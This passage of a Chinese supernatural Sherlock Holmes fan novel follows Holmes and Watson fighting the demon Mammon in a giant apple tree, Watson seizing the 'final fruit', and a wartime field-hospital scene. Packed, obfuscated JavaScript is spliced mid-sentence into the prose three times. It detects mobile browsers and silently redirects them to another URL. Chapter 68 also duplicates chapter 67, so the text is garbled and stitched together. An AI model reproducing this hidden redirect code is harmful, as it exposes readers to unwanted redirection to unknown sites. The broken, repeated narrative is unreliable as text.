“不过很遗憾，你那过人的聪慧，已经渐渐在与俗人相处的时间里被磨灭。” 如果说最初的他可能还会思索对方这番言语的可行与否。 那在与好友经历了如此之多冒险后，现在的他早已不会因为这些感到迷惘。 歇洛克面容冷峻。 “那么你在与那家伙的相处中又得到了什么？” “你拼尽全力得到的那些权力和财富，等到最后也不过会化作他者脚下的尘埃。” “那些到最后节点无关紧要的东西，只会变成你的陪葬品而已。” 莫兰冷笑道：“福尔摩斯大侦探，想不到你游说的技巧竟也如此熟练出色。” “然而我现在说的全数都是真相。” 歇洛克的手微微一动。 轰—— 约翰毫不犹豫，立即开枪。 子弹破空，但未能击中预定的目标。 对方同样是经历过战场炮火洗礼的老兵，在这方面的应对可谓炉火纯青。 莫兰没有管自己昂贵的手工风衣上沾满尘灰泥泞，当即翻滚受身，藏在路边被花草簇拥着的树干后。 □□抬起，反复扣动几次扳机后，死亡的“雨珠”扑面而来。 避不开！ 几乎所有逃生的角度和方向都被□□的子弹封锁。 对方不愧是优秀的猎人，如果以避让的态度迎敌，那只会被彻底杀死。 ——如果好友死在这里，他必定会自责一生。 歇洛克往前踏出一步，不打算再继续思索这具皮囊被子弹撕裂的后果。 “歇洛克！你先去那棵果树！” 约翰手持左轮，看上去是准备从旁先冲上去堵住莫兰的视线。 两人似乎在这个瞬间都想到了一起。 弹雨倾盆落下。 莫兰猖狂得意地大笑起来，“愚蠢！” “所以说，我们来得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205719|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恰是时候。” 喀嚓—— 一把阳伞打开，撑起犹如铃兰花苞的优美弧度。 原本脆弱的伞此刻坚硬得像石头，叮叮咚咚的弹雨丝毫未能击碎伞面，反而敲出了一段堪称悦耳的曲调。 这位女士身着长裙，将阳伞的柄端在手中轻轻一晃，便轻松将那些坚硬的弹壳与呛人的硝烟随风拂去。 “艾琳·艾德勒女士？！”约翰惊讶，然后发现后面还有一人，“那是……本笃大主教？！” 须发花白的老者笑着向他们点点头。 歇洛克缓缓呼出一口气。 “两位来得的确恰是时候。” “不过这似乎也意味着，外部的空间和这里彻底连接在一起了。” “圣保罗大教堂那里真的没有问题吗？” “相信那些年轻人和女王陛下吧，他们的力量其实远超我们的预想。” 本笃说道。 艾琳转动了一下自己完好无损的阳伞。 “就如我相信自己一样。” 歇洛克扫过她手中的伞，和本笃大主教的面容，“……我明白了。” 艾琳微笑。 她看向谨慎的莫兰，接着主动对歇洛克和约翰说道： “两位先走一步。” “这里由我们来就足够了。” 突如其来的帮手让约翰一愣。 “艾德勒小姐，本笃大主教？！” 但对手并非泛泛之辈。 艾琳像是看穿了他心中所想。 优雅的女士竖起食指立于唇边。 “去吧，医生，我们只是先一步做出了自己的选择。” “而‘那个节点’的到来少不了你们的到场，否则盒子将永远被关上，再也没有被打开的机会。” 她的话里似乎还藏着什么。 不过歇洛克已经果断做出了选择。 “走吧，约翰！” 途中的冒险令人激动不已，案件的结局又叫人释然放怀。 他的搭档对解开谜题的过程中乐在其中，他则会因为这段弥足珍贵的友情和冒险而如获至宝。 就像以往很多次他们在伦敦的大街小巷追捕嫌犯时那样，当歇洛克下定合理的决心时，约翰就知道自己会不假思索地跟在这位侦探，也是搭档兼好友的背后，一起朝着真相飞奔。 他们向道路尽头最大的果树方向跑去。 越是接近那棵苹果树，越能感受到它的高大。 等到他们来到树下的时候，才惊觉这棵树交错纠缠的根须已经铺设出一条坎坷不平的道路，甚至可以直接攀上葱郁的树冠。 清香从绿叶的每一处幽幽传来。 越是靠近下方的树冠里点缀的是闭合未开，或是含苞待放的苹果花；等到沿着树干往上行走一段路程，就会发现花朵大多盛放，散发出浓郁的香气；接着继续向上，花朵凋零，大小不一的果实缀于枝头，有些看起来青涩酸牙，有些则红艳圆润，还有些则已经逐渐腐烂发酵。 约翰将目光投向树冠最上游的方向。 他们像登山一样走过很长的路，但迟迟不见走在前面的那个魔鬼。 就在约翰心急的时候，枝叶中忽而探出一只白鸽。 【“噢——又有两位远道而来的客人，你们也是来找‘果实’的吗？”】 一瞬间枝叶、花朵和果实都看向他们，然后诡异地齐声问道： 【“你们——也是——来找——‘果实’——的吗——？”】 67.67 这里为什么会出现一只白鸽？ 难道他们是掉入仙境的爱丽丝小姑娘吗？ 不，这里是树梢，其实有白鸽出现也是很正常的事情？ 一时间约翰感觉自己的脑海里思绪万千纷杂。 【“嘻嘻——他在思考——嘻嘻——他竟然——在思考——”】 花朵和果实们发出嘲讽的窃笑，仿佛在说—— 人类只要一思考，上帝就想发笑。 枝干树叶抖动着，好像整棵巨树也在一起颤声大笑。 白鸽用血红的眼睛看着他们。 【“亲爱的两位来客，我是一位‘使者’，对这里的一切了如指掌，有什么能帮助你们的吗？”】 这么好心吗？ 但如果对谁都如此好心，那贪婪的魔鬼岂不是早就找到了那颗果实？ 苹果们不知何时已经簇拥到他们身边。 挤挤挨挨的苹果里有还未成熟的青涩，也有已经恰到丰收时期的鲜红，还有成熟过头接近腐烂的暗色。 它们发出窸窸窣窣的回应。 【“你们——原来——在找——我们呀——”】 【“我们——就在这里——嘻嘻——你们——要找的——是谁呢——”】 谁也不知道总是流传于神秘侧世界里的【果实】到底是什么样的，甚至连【果园】也是当他们亲自踏足此处才能理解，一棵树本身原来就可以作为独立的“果园”而存在。 约翰拨开那些热情主动凑过来的苹果。 他低声问搭档： “歇洛克，这到底是？” 侦探慢慢环顾四周一圈。 果实们见到他的眼神，像是受到惊吓般往后瑟缩了一下，然后齐齐绕回白鸽的身后。 【“不喜欢——他|祂——为什么——让——他——进入——果园——”】 【“留下——另一个吧——他也是——果实|我们中的一员——”】 【“鲜红的——成熟的——美味的——受人喜爱的——”】 果实们簇拥着白鸽，如同依恋在母亲身旁撒娇的孩子。 白鸽笑眯眯地说道：【“但这不一定是这两位先生心中所想。”】 【“为什么——要询问——他们的——意见——”】 【“不需要|没有必要——成为果实|我们中的一员——是——荣幸——”】 白鸽叹了口气：【“真的吗？”】 【难道——不是吗——】 声音仿佛要具现成文字，文字又组成茂密的树叶，遮住从天穹洒落的日光。 渐渐地，声线重叠，词句的内里如同洋葱，拨开一层还有一层，但每一层的含义都如此清晰地涌入大脑之中。 从人类的视角来看，轻轻拂开表面一层，就能看清下面是何内涵含义。 歇洛克声线依旧镇定。 “我想询问的不是果实的去向。” 白鸽诧异，【“哦？那你想问的是什么？”】 苹果们低声交谈着。 【“我看到了——他想问——玛门|不入流的——无趣的存在|乏味的大人——”】 “在这里，我们的思绪是可以被具现化的。”歇洛克说道。 白鸽眨了眨红宝石一样的眼眸，【“正如你所说。”】 约翰震惊，“哪怕是仪具或是仪阵，都很难做到让一个人吐露自己全部的心思吧！” 苹果们嬉笑。 【“他|想象力空乏的人——当然不知道|好可惜——”】 白鸽咕咕叫了两声。 【“亲爱的，你要知道，这里是幻想的天堂|伊甸园。”】 绿叶中的白鸽依旧保持着半个身体探出来的姿势。 它说道： 【“既然你们想找祂|玛门，那么只要找到‘最终的果实’就好。”】 【“因为那家伙|区区魔鬼的目标也不过如此。”】 “是吗？” “那其实用不着费力寻找！” 话音落下，歇洛克掌心的手杖已经甩出。 “约翰！你右手边三点钟方向！” 苹果们游走在枝叶间游走避让。 约翰刚换上新弹夹的左轮是满弹储备的状态。 他猛然抬手。 两人的默契，令他们在此刻无需多言。 秘银的子弹呼啸出膛，落点与侦探手杖前端扫过的位置重合！ 飒飒作响间，茂密的树叶被手杖划开一道狰狞的“伤痕”。 子弹从那“伤痕”中穿透，要将隐匿其中的魔鬼杀死。 魔鬼不满地啧了一声，挥手打散死亡到来的脚步声。 叮—— 子弹偏航，射中了枝叶后其他的树干。 粗糙的树皮表面泛起阵阵涟漪一样的圈纹，最后轻飘飘地将那颗子弹吞没。 而歇洛克的手杖则像被某只无形但有力的手握住，此刻僵持在空中无法移动。 白鸽和刚刚说话的大部分果实仍留在原来的位置。 它像是难得一见这样激战的热闹场面，所以饶有兴趣地咕咕叫着： 【“好有趣|难得一见的舞台。”】 它血红的双眼注视着他们。 【“热闹得就像被塞进发条盒里的跳蚤。”】 果实们不满。 【“哪里——有趣了——会把果树打坏的——”】 【“把他们——赶走|杀死吧——”】 白鸽不理会果实们的絮语，反而像隔岸观火一般，开始兴致盎然地点评起来。 【“噢！华生先生，小心七点钟方向。”】 【“那位福尔摩斯先生，看看你的脚下。”】 “见鬼！” 秘银子弹在警告之前就已经脱膛而出，可那颗闪烁着银光的子弹轨迹在半空中被扭曲，紧接着反过来穿透了他没来得及完全躲闪的礼帽。 他后仰着躲过往回飞来的子弹，仿佛刚才开枪的不是自己，而是对面的老者。 “他难道能控制行动轨迹？！” 刚刚在歇洛克的提醒下打出的第一发子弹，似乎也是因为同样的把戏而扭曲了弹道。 此时，浓郁的硫磺味与树冠间弥漫的腐烂苹果香气一起发酵成令人作呕的猩甜。 玛门的语气不复之前伪装的温和。 【愚蠢！】 【机会近在咫尺，你却要亲手放弃？】 说这两句话时，祂一直在盯着歇洛克。 【你应该清楚我在说什么，毕竟我们魔鬼同样不是永生的！】 不知何时充盈在树冠枝叶间的浓雾，是老者身后蔓延出的无数半透明触腕。 祂的触腕扯住手杖。 【你难道不想追求那永恒的生命吗！你难道还想将自己的存在和人类这种脆弱可怜的生物绑在一起吗！】 玛门咆哮着。 白鸽欢快地拍动羽翼。 洁白的羽毛与深绿的树叶交错飘落。 【“有趣|发疯，幻想|可能，说到底我们全都是疯子|幻想家！都是贪心不足的凡人|魔鬼！”】 “你的话术和你的那些触须一样拙劣。” 歇洛克压低自己的帽檐，避开脚下那些如刀般飞溅的木屑。 【难道你想说，我说的都是错的？】 玛门低声怒吼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15222997|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不，你说的都是事实。” “不管是天使还是恶魔，说到底都是人类幻想的产物。” “扎根于曾经的神话历史，拥有无上的伟力，但依旧会有死去的某日。” “更换容器就是再明显不过的提示。” 那根手杖和触腕不断交锋，竟发出震耳欲聋的金属嗡鸣声。 【那你的这幅皮囊，又能让你‘活’多长时间！】 玛门吼道： 【即便经历的年岁要比人类漫长许多，但只要等到皮囊有朝一日老去，你也会像那些卑微的东西一样死在尘土之中！】 触腕甩开手杖，歇洛克双脚踩在树干表面，划过明显但很快又恢复原状的痕迹。 “当你恐惧死亡的时候，不过是变得比苟且之人更加不堪的存在而已。” 玛门理了理衣袖，佯装心平气和地提出建议。 【歇洛克，你天生并非凡人，你不可能完全与人类为伍，他们也不可能完全理解你的感受。】 【你虽然是魔鬼中的异类，但我们依旧愿意接纳你。】 祂循循善诱。 【你知道的，我在路上早有无数方式可以杀掉你和那个短命种的人类。】 【但我没有。】 【因为最后的果实需要人类才能摘下，只有人类是合适的‘剪刀’，献祭他才能知道最后那果实的真正位置。】 【摘下那果实，就由你我进行分割分配，即便只有一半甚至更少，也能获得远比现在强大的力量！】 【这就是那‘果实’将带给我们的奇迹！】 祂绝口不提延续自我生命的时候，便崇高得像是镀上一层圣光，哪怕是教皇在此，都需要将教堂正中的位置让给这位魔鬼。 “现在的我不需要你的说教和所谓的‘包容’。” 歇洛克摇头。 “你完全没有理解那奇迹到底代表着什么。” 他看着贪婪的魔鬼，平静地说道： “此外，你也并非‘莫里亚蒂’。” 【你想说什么！】 玛门脸色阴沉。 就在这时，他们身后骤然迸发出一阵刺眼的光。 苹果们惊恐地尖叫着。 【“有人——摘下了——‘果实’——”】 玛门错愕地回头看去。 ——难道那个人类竟然在没有任何提示的前提下，自己将正确的果实摘下了吗？！ 尖刀寒光凛冽，手杖在转瞬之间化作长剑，穿透玛门的胸膛。 【……你……】 越是贪婪，到最后反而越可能一无所有。 贪婪的魔鬼拼命想要真正的长生，实际却是亲手将自己送上不归路。 祂尖啸着。 【卑贱的人类拿到果实后，绝对会做出错误的选择！】 【你现在做的很可能只是将‘我们’杀死，但十年后……百年后……千年后亦会有新的魔鬼诞生！】 歇洛克语气平静地说道： “是吗？” “那我们拭目以待。” 他踩住玛门的尸体，抬眼望向树叶的深处。 约翰已经牢牢抓住了最终的果实。 白鸽大笑。 它扑闪着翅膀，却没有飞离原来的位置，或者说它根本无法离开那个位置。 树叶之后并非完整的身体，它后半截的身躯已经与果树融为一体，只有前半截才是自由的。 它笑得很开心。 【“恭喜你，约翰·华生|人类！你摘下了最终的果实|奇迹！”】 【“来吧！告诉我，你想要实现什么样的愿望，我将予以你相应的力量|奇迹！”】 68.68 这里为什么会出现一只白鸽？ 难道他们是掉入仙境的爱丽丝小姑娘吗？ 不，这里是树梢，其实有白鸽出现也是很正常的事情？ 一时间约翰感觉自己的脑海里思绪万千纷杂。 【“嘻嘻——他在思考——嘻嘻——他竟然——在思考——”】 花朵和果实们发出嘲讽的窃笑，仿佛在说—— 人类只要一思考，上帝就想发笑。 枝干树叶抖动着，好像整棵巨树也在一起颤声大笑。 白鸽用血红的眼睛看着他们。 【“亲爱的两位来客，我是一位‘使者’，对这里的一切了如指掌，有什么能帮助你们的吗？”】 这么好心吗？ 但如果对谁都如此好心，那贪婪的魔鬼岂不是早就找到了那颗果实？ 苹果们不知何时已经簇拥到他们身边。 挤挤挨挨的苹果里有还未成熟的青涩，也有已经恰到丰收时期的鲜红，还有成熟过头接近腐烂的暗色。 它们发出窸窸窣窣的回应。 【“你们——原来——在找——我们呀——”】 【“我们——就在这里——嘻嘻——你们——要找的——是谁呢——”】 谁也不知道总是流传于神秘侧世界里的【果实】到底是什么样的，甚至连【果园】也是当他们亲自踏足此处才能理解，一棵树本身原来就可以作为独立的“果园”而存在。 约翰拨开那些热情主动凑过来的苹果。 他低声问搭档： “歇洛克，这到底是？” 侦探慢慢环顾四周一圈。 果实们见到他的眼神，像是受到惊吓般往后瑟缩了一下，然后齐齐绕回白鸽的身后。 【“不喜欢——他|祂——为什么——让——他——进入——果园——”】 【“留下——另一个吧——他也是——果实|我们中的一员——”】 【“鲜红的——成熟的——美味的——受人喜爱的——”】 果实们簇拥着白鸽，如同依恋在母亲身旁撒娇的孩子。 白鸽笑眯眯地说道：【“但这不一定是这两位先生心中所想。”】 【“为什么——要询问——他们的——意见——”】 【“不需要|没有必要——成为果实|我们中的一员——是——荣幸——”】 白鸽叹了口气：【“真的吗？”】 【难道——不是吗——】 声音仿佛要具现成文字，文字又组成茂密的树叶，遮住从天穹洒落的日光。 渐渐地，声线重叠，词句的内里如同洋葱，拨开一层还有一层，但每一层的含义都如此清晰地涌入大脑之中。 从人类的视角来看，轻轻拂开表面一层，就能看清下面是何内涵含义。 歇洛克声线依旧镇定。 “我想询问的不是果实的去向。” 白鸽诧异，【“哦？那你想问的是什么？”】 苹果们低声交谈着。 【“我看到了——他想问——玛门|不入流的——无趣的存在|乏味的大人——”】 “在这里，我们的思绪是可以被具现化的。”歇洛克说道。 白鸽眨了眨红宝石一样的眼眸，【“正如你所说。”】 约翰震惊，“哪怕是仪具或是仪阵，都很难做到让一个人吐露自己全部的心思吧！” 苹果们嬉笑。 【“他|想象力空乏的人——当然不知道|好可惜——”】 白鸽咕咕叫了两声。 【“亲爱的，你要知道，这里是幻想的天堂|伊甸园。”】 绿叶中的白鸽依旧保持着半个身体探出来的姿势。 它说道： 【“既然你们想找祂|玛门，那么只要找到‘最终的果实’就好。”】 【“因为那家伙|区区魔鬼的目标也不过如此。”】 “是吗？” “那其实用不着费力寻找！” 话音落下，歇洛克掌心的手杖已经甩出。 “约翰！你右手边三点钟方向！” 苹果们游走在枝叶间游走避让。 约翰刚换上新弹夹的左轮是满弹储备的状态。 他猛然抬手。 两人的默契，令他们在此刻无需多言。 秘银的子弹呼啸出膛，落点与侦探手杖前端扫过的位置重合！ 飒飒作响间，茂密的树叶被手杖划开一道狰狞的“伤痕”。 子弹从那“伤痕”中穿透，要将隐匿其中的魔鬼杀死。 魔鬼不满地啧了一声，挥手打散死亡到来的脚步声。 叮—— 子弹偏航，射中了枝叶后其他的树干。 粗糙的树皮表面泛起阵阵涟漪一样的圈纹，最后轻飘飘地将那颗子弹吞没。 而歇洛克的手杖则像被某只无形但有力的手握住，此刻僵持在空中无法移动。 白鸽和刚刚说话的大部分果实仍留在原来的位置。 它像是难得一见这样激战的热闹场面，所以饶有兴趣地咕咕叫着： 【“好有趣|难得一见的舞台。”】 它血红的双眼注视着他们。 【“热闹得就像被塞进发条盒里的跳蚤。”】 果实们不满。 【“哪里——有趣了——会把果树打坏的——”】 【“把他们——赶走|杀死吧——”】 白鸽不理会果实们的絮语，反而像隔岸观火一般，开始兴致盎然地点评起来。 【“噢！华生先生，小心七点钟方向。”】 【“那位福尔摩斯先生，看看你的脚下。”】 “见鬼！” 秘银子弹在警告之前就已经脱膛而出，可那颗闪烁着银光的子弹轨迹在半空中被扭曲，紧接着反过来穿透了他没来得及完全躲闪的礼帽。 他后仰着躲过往回飞来的子弹，仿佛刚才开枪的不是自己，而是对面的老者。 “他难道能控制行动轨迹？！” 刚刚在歇洛克的提醒下打出的第一发子弹，似乎也是因为同样的把戏而扭曲了弹道。 此时，浓郁的硫磺味与树冠间弥漫的腐烂苹果香气一起发酵成令人作呕的猩甜。 玛门的语气不复之前伪装的温和。 【愚蠢！】 【机会近在咫尺，你却要亲手放弃？】 说这两句话时，祂一直在盯着歇洛克。 【你应该清楚我在说什么，毕竟我们魔鬼同样不是永生的！】 不知何时充盈在树冠枝叶间的浓雾，是老者身后蔓延出的无数半透明触腕。 祂的触腕扯住手杖。 【你难道不想追求那永恒的生命吗！你难道还想将自己的存在和人类这种脆弱可怜的生物绑在一起吗！】 玛门咆哮着。 白鸽欢快地拍动羽翼。 洁白的羽毛与深绿的树叶交错飘落。 【“有趣|发疯，幻想|可能，说到底我们全都是疯子|幻想家！都是贪心不足的凡人|魔鬼！”】 “你的话术和你的那些触须一样拙劣。” 歇洛克压低自己的帽檐，避开脚下那些如刀般飞溅的木屑。 【难道你想说，我说的都是错的？】 玛门低声怒吼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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——难道那个人类竟然在没有任何提示的前提下，自己将正确的果实摘下了吗？！ 尖刀寒光凛冽，手杖在转瞬之间化作长剑，穿透玛门的胸膛。 【……你……】 越是贪婪，到最后反而越可能一无所有。 贪婪的魔鬼拼命想要真正的长生，实际却是亲手将自己送上不归路。 祂尖啸着。 【卑贱的人类拿到果实后，绝对会做出错误的选择！】 【你现在做的很可能只是将‘我们’杀死，但十年后……百年后……千年后亦会有新的魔鬼诞生！】 歇洛克语气平静地说道： “是吗？” “那我们拭目以待。” 他踩住玛门的尸体，抬眼望向树叶的深处。 约翰已经牢牢抓住了最终的果实。 白鸽大笑。 它扑闪着翅膀，却没有飞离原来的位置，或者说它根本无法离开那个位置。 树叶之后并非完整的身体，它后半截的身躯已经与果树融为一体，只有前半截才是自由的。 它笑得很开心。 【“恭喜你，约翰·华生|人类！你摘下了最终的果实|奇迹！”】 【“来吧！告诉我，你想要实现什么样的愿望，我将予以你相应的力量|奇迹！”】 69.69 约翰感觉自己头疼欲裂。 当他伸手抓住那颗【果实】的时候，无数零碎的话语同时涌入了他的大脑之中。 如同流水灌满容器，零碎的信息在空间有限的容器里相互碰撞，彼此挤碎，再溢出瓶口。 水流愈是汹涌，他感觉自己愈是痛苦。 仿佛整个人都要被那些信息冲垮。 白鸽咕咕地叫喊着。 【“你的愿望|执念是什么？”】 是什么？ 嗡…… 约翰·华生像是惊醒一样猛地睁开眼。 映入眼帘的不是好友歇洛克·福尔摩斯的面容，也不是郁郁葱葱的树冠，而是曾经无比熟悉，现在却已经变得有些陌生的战地医院天花板。 约翰盯着视线右上方破损的洞口，脑海里不由自主地想到，那是不到半小时前被炮火轰炸过留下的痕迹。 “华生医生！华生医生！” 护士焦急的声音唤回了他的理智。 “你还好吗？” “敌方公然撕毁了条约，现在正对战地医院以及俘虏营进行无差别攻击……二十几分钟后可能还有新一轮的轰炸！” 约翰晃了晃有些昏沉的脑袋，感觉自己刚刚在某个瞬间见到的树冠，想到的某人的名字，都像是在短暂昏迷时间里做的一个梦。 他扶住额头，试图让自己清醒一点。 但满手的黏腻，说明他的脑袋似乎刚刚磕到了哪里。 转头看向满脸惊慌，只能强压恐惧的年轻护士，他发现她的脸上也是青青紫紫，还有被碎石擦伤的痕迹。 “我们……” 他想说，我们是不是在梦中。 但下一秒低空发出的嗡鸣声，瞬间让暴露在地表上的人精神紧绷起来。 废墟里的呻吟声更是令人揪心难受。 “华生医生——”护士紧张得几乎快哭出来，“我们，我们……该怎么办？” 那样无差别的轰炸下，上级军官也不一定幸免。 此时对于她来说，能找到并救醒一个可以交流行动的人，已经非常幸运和了不起了。 约翰扶住一旁的断壁残垣，内心感到一阵茫然。 空袭犹如一场突如其来的大火，烧得每个人都惊慌失措。 他下定决心。 “救人……” 他的嗓音嘶哑得厉害，有种刚被烟熏火燎过的难受。 “附近有防空洞，我们能救多少是多少！” 两人开始行动起来。 护士看见他脸色苍白，像是有些失血过多的样子，还是说道： “医生！要不然你还是先去防空洞，我在这里救人！” “不用！”约翰短促地说道：“两个人能救下的人更多……哪怕这里可能已经没有多少人还活着……” 在废墟中搜寻呼喊着，但十几分钟后他们能找到的也只有一位断了腿的伤员。 “这里！” 约翰背起那位几乎是气若游丝的战士，护士连忙跟上，颤抖着手找到战场上的救命药物吗/啡开始进行注射。 剧烈的疼痛短暂被止住后，这位士兵终于有了些许说话的力气。 “不如……把我放下吧。” “至少死去的时候不会疼痛，天使也会领着我回家……” 自己也头晕目眩的约翰仍旧背着他没有松手。 “别睡过去！一起回去！” 他努力找着话题，希望对方的思维不要停止。 “这附近还有其他无法移动或者陷入昏迷的伤员吗？！” “……”士兵的嘴唇轻轻动了动，“没有了。” “我喊过了他们每个人的名字，没有人……再回应我。” 约翰和那位年轻的护士一时间陷入了沉默。 令人精神紧绷的蜂鸣声持续不断，越来越靠近的黑点更是让人觉得胆寒。 他感觉在伦敦大街小巷里见到的任何超凡力量，也不及此刻从远方逐渐逼近的炮火更令人恐惧。 约翰听得到自己的呼吸开始逐渐加重，脑海里也想象得到会如何死于炮火之下。 可人类往往并不是甘心认命的存在。 大部分人哪怕断手断脚，在最后的瞬间也总是想要活下去。 想活着再去遇见家人和朋友，想活着再看一次没能去过的风景，想活着……哪怕只是再去一次某个街角美味的面包店。 “别睡！别睡！” “你难道就没有还想做的事情吗？！” “你今年的生日过了吗！你和家里人写信了吗！你答应过他们的事情都做完了吗！” 约翰动员着，和护士一起埋着头在只剩下紧急蜂鸣声回荡的废墟里快步奔跑。 前方就是防空洞，进去之后这位士兵说不定还有获救的希望。 年轻的护士见到那看起来格外厚实的铁门时几乎快喜极而泣。 约翰还背着伤员，她代替他们腾出双手，拍打着铁门。 “请开门！我们是医生和护士！这里还有伤员！” 里面传来嘈杂的讨论声，像是有人不允许门被直接打开。 很快有一个声音作为代表响起。 “你们是医生和护士？有带治疗药物吗？” 护士说道：“我们有医疗包！但是药量不多了，你们如果有多余的，请分给我们一些，这里的伤员情况很危急！” 里面又是一阵嘈杂的喧哗。 随后还是那个人作为代表回话。 “我们允许你们两个进来，但是那个伤员不可以！他会引来死神的镰刀！” 护士难以置信，“什么？” “你难道不知道吗！” “敌方召唤出了神！那是死神！受伤的人更容易吸引祂的注意力，一旦把受伤严重者接进来，死神会第一时间发现这处原本安全的地方！” “我们都会死的！” 约翰强压怒火。 “那是轰炸机！” “因为你们是医护，我们才打算接纳你们的！” “如果你们不打算放下那个受伤严重的人，那就快滚！” 门里的人们毫不客气地喊道。 约翰尽可能让自己冷静下来，他对护士说道：“他们已经失去为人应有的善良心灵。” 不管他们的担忧是确有其事，还是寻找借口。 但明明还有行动的能力，和还算充沛的体力，第一时间想到的竟然只有保全自己。 那他们不过也是披着人皮的恶魔而已。 他背好身后的伤员，说出了一个显而易见的结果。 “他们是不会开门的。” “你们这样才是真正违背主的教义，主是不会原谅你们的！” 护士的眼眶泛红，对紧闭大门的人喊道： “你们会遭受报应的！” “我们现在还活着，正是说明主在肯定我们的做法！” “另外一个人不肯放下受伤者的话，我们可以接纳你自己进来！” 门里的人喊道。 护士看了看不再继续和里面交涉的那两人。 她愣了瞬间，没有管门里的人，而是选择追上他们的身影。 约翰背上的士兵动了动苍白的嘴唇。 紧急包扎的绷带下还在不断流血。 他已经感到死神的镰刀架在了自己的脖子上。 “医生，谢谢你……但是不用继续带着我了，你和那位小姐，进去吧……把我放在外面就好，我再看看天空……” “你真的想死吗！” 约翰打断他的话。 “吗/啡还在起效，医疗包里还有一些有用的药，医院虽然被炸毁，但是废墟下说不定还有能救你的物资。” “你只要挺过这段危险时间，我和那位护士小姐一定能救你的命！” 他把士兵在自己背上固定得更紧了些。 那位士兵的嘴唇动了动。 不过这次打湿约翰后背衣服的并非是血液，而是眼泪。 “想活……想活下去……我心爱的姑娘……我们都是孤儿，曾经说好要彼此成为对方的第一个家人……我想再找到她，和她道歉……告诉她我已经改过……” “我只想回家……我想活着回去找她……” 绝望和渴望一起被装在这颗沉重的泪水里落下。 约翰听到他的哭声，反而觉得松了口气。 还有活下去的信念，才能挨过这纷飞的战火。 他们三人找到一个尽可能还算安全的地方时，不远处轰炸的巨响已经开始明示死神的到来。 硫磺的气浪从远及近，如风暴中的巨浪扑面打来。 地面不断震动着，好像随时都会裂开一张看不见底的血盆大口将他们吞没。 但约翰处理士兵伤口的手依旧很稳。 “他的伤口里还有异物，我需要酒精、镊子和纱布。” “动作要快！” 护士打了个激灵。 “是！” 她迅速递上需要的医疗用具和药品。 如果说防空洞里的人恐惧死神的到来，那他们就是站在与死神对抗最前线的人。 最优秀的医护从来只预设最糟糕的伤势情况，他们从不寄希望于主会将万里挑一的幸运赐福给每一个垂死的士兵。 拼尽全力的救治，才是让更多人活下去的最优选择。 从天而降的炮弹如同巨锤，砸得本就摇摇欲坠的废墟变得更加危险。 年轻的护士原本还有些紧张，但在医生有条不紊地冷静指挥中，也将精神全部灌注在对眼前受伤士兵的救治上。 但一声震耳欲聋的声音就在距离他们非常近的地方炸响。 火光击垮了藏身之处摇摇欲坠的天花板。 碎石猛然落下，瞬间将所有人都无情地埋进黑暗之中。 等到约翰再度醒来的时候，他只能看见四周一片昏暗，只剩下极远的地方留有一线光明。 他咳嗽了两声，呼唤刚刚还在身边的护士和士兵。 “咳……你们还好吗？” 士兵像是也刚从昏迷中勉强恢复了残存的一些意识。 他也咳嗽了一声，但那更像是肺部被什么尖锐东西刺穿后痛苦的呼吸。 约翰的心脏瞬间提到嗓子眼。 他摸黑往发出声音的地方爬去，紧接着摸到了冰冷的钢筋，然后才是那个满身鲜血的士兵。 他的手开始颤抖起来。 明明拼尽了全力，明明以为他能够活下来，但无情的炮火告诉他们，只需要短短几秒的时间，他们无比珍视，无比渴望的东西就可以被摧毁。 无情的魔鬼会从高空俯视他们，不管地面上的蝼蚁如何挣扎，最后能够一脚将他们踩进绝望的深渊里。 “走吧……走……吧……” 那位士兵轻轻推了一下他的手，就再也没有其他动作。 因为他的呼吸停止了。 停止在钢筋穿透他胸膛的那一刻。 约翰沉默着，脱帽哀悼后往光线明亮的那处慢慢爬去，沿途路上不断寻找之前与他同行的那位年轻护士。 头顶的灰尘碎石一直断断续续地落下，说明这片废墟随时有二次坍塌的征兆。 终于他在兜了几圈后找到了她。 “医生。” 护士勉强对他笑了笑，年轻的脸上一半算得上干净，一半满是灰黑青紫，看上去是刚刚哭泣过。 “我来救你出来。”约翰说道。 对方腰部后方被坍塌的建筑压住，强行拖出来是不可能的，他要赶快找到能将石板移开的方法。 如果歇洛克在这里的话，想的办法绝对比他这个普通人要…… “来不及了医生。” 护士胡乱擦着自己的脸，好像这样就能假装自己从未落下没有止住过的眼泪。 她将脖子上的项链扯下塞到他的手里。 “请您带回去吧！带回我的家乡找……” 她忽然什么也想不到了。 “不……就当我未曾说过这句话。” 她眨着眼，眼泪还在滴落。 “你可以将它拿走去换钱，或者扔掉也可以。” “说不定我还能找到救你的方法！” 约翰还没有放弃。 头顶半坍塌的天花板和脚下裂开巨缝的地面，都在隐晦地告诉废墟里的每个人，这里随时都会化作吞噬生命的坟墓。 “救不了的……”护士推推他的手。 “这里应该还有救援部队，只要他们来的话……” 